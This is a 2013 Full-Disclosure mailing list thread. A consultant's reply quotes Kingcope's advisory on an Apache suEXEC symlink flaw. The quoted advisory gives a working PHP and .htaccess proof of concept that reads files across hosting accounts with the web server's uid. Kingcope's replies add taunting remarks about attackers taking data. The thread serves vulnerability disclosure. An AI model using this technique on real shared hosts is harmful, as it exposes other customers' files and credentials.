lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Fri, 09 Aug 2013 06:21:45 -0500
From: "R. Whitney" <>
Subject: Re: Apache suEXEC privilege elevation /
 information disclosure

I would concern myself more with the web hosting providers which utilize 
suExec. By escalating privileges even to just the level of the HTTPD 
would allow one to read/write to content outside of their web hosting 
I have personally been in situations where I have had to advise sys 
admins that suExec was properly setup & my web hosting account was 
capable of (in worst case scenario) shutting down the HTTPD itself, and 
in other situations capable of reading things like wordpress config 
files from other hosting accounts.

Good work as always Kingcope. :)

On 08/09/13 04:33, Kingcope wrote:
> So the blackhat that Sits on ur Site and the site of ur company Since half a year  will stop at the point Where its "technically incorrect" and wont escalate to root because "it doesnt have to do Anything with suexec". Its an Old vuln so let it stay , better for us and soon our Data on your boxes.
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that know how to set a flag in httpd.conf   , apache devs included.
> Am 09.08.2013 um 14:29 schrieb Kingcope <>:
>> So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One.
>> Am 07.08.2013 um 21:49 schrieb king cope <>:
>>> Apache suEXEC privilege elevation / information disclosure
>>> Discovered by Kingcope/Aug 2013
>>> The suEXEC feature provides Apache users the ability to run CGI and SSI programs
>>> under user IDs different from the user ID of the calling web server. Normally,
>>> when a CGI or SSI program executes, it runs as the same user who is running the
>>> web server.
>>> Used properly, this feature can reduce considerably the security risks involved
>>> with allowing users to develop and run private CGI or SSI programs.
>>> With this bug an attacker who is able to run php or cgi code inside a web
>>> hosting environment and the environment is configured to use suEXEC as a
>>> protection mechanism, he/she is able to read any file and directory on the file-
>>> system of the UNIX/Linux system with the user and group id of the
>>> apache web server.
>>> Normally php and cgi scripts are not allowed to read files with the apache user-
>>> id inside a suEXEC configured environment.
>>> Take for example this apache owned file and the php script that follows.
>>> $ ls -la /etc/testapache
>>> -rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
>>> only user www-data should be able to read this file.
>>> $ cat test.php
>>> <?php
>>>        system("id; cat /etc/testapache");
>>> ?>
>>> When calling the php file using a webbrowser it will show...
>>> uid=1002(example) gid=1002(example) groups=1002(example)
>>> because the php script is run trough suEXEC.
>>> The script will not output the file requested because of a permissions error.
>>> Now if we create a .htaccess file with the content...
>>> Options Indexes FollowSymLinks
>>> and a php script with the content...
>>> <?php
>>>        system("ln -sf / test99.php");
>>>        symlink("/", "test99.php"); // try builtin function in case when
>>>                                    //system() is blocked
>>> ?>
>>> in the same folder
>>> ..we can access the root filesystem with the apache uid,gid by
>>> requesting test99.php.
>>> The above php script will simply create a symbolic link to '/'.
>>> A request to test99.php/etc/testapache done with a web browser shows..
>>> voila! read with the apache uid/gid
>>> The reason we can now read out any files and traverse directories owned by the
>>> apache user is because apache httpd displays symlinks and directory listings
>>> without querying suEXEC.
>>> It is not possible to write to files in this case.
>>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>> apache2 -V
>>> Server version: Apache/2.2.22 (Debian)
>>> Server built:   Mar  4 2013 21:32:32
>>> Server's Module Magic Number: 20051115:30
>>> Server loaded:  APR 1.4.6, APR-Util 1.4.1
>>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>>> Architecture:   32-bit
>>> Server MPM:     Worker
>>> threaded:     yes (fixed thread count)
>>>    forked:     yes (variable process count)
>>> Server compiled with....
>>> -D APACHE_MPM_DIR="server/mpm/worker"
>>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>>> -D HTTPD_ROOT="/etc/apache2"
>>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>>> -D DEFAULT_PIDLOG="/var/run/"
>>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>>> -D DEFAULT_ERRORLOG="logs/error_log"
>>> -D AP_TYPES_CONFIG_FILE="mime.types"
>>> -D SERVER_CONFIG_FILE="apache2.conf"
>>> Cheers,
>>> /Kingcope
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
> Hosted and sponsored by Secunia -

*R. Whitney* /- Independent IT Consultant/
*Phone:* (347)674-4835
*Postal:* PO Box 5984, Bloomington, IL 61702-5984
*Other:* My Blog <> / LinkedIn 
<> / Twitter <>

Content of type "text/html" skipped

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -

Powered by blists - more mailing lists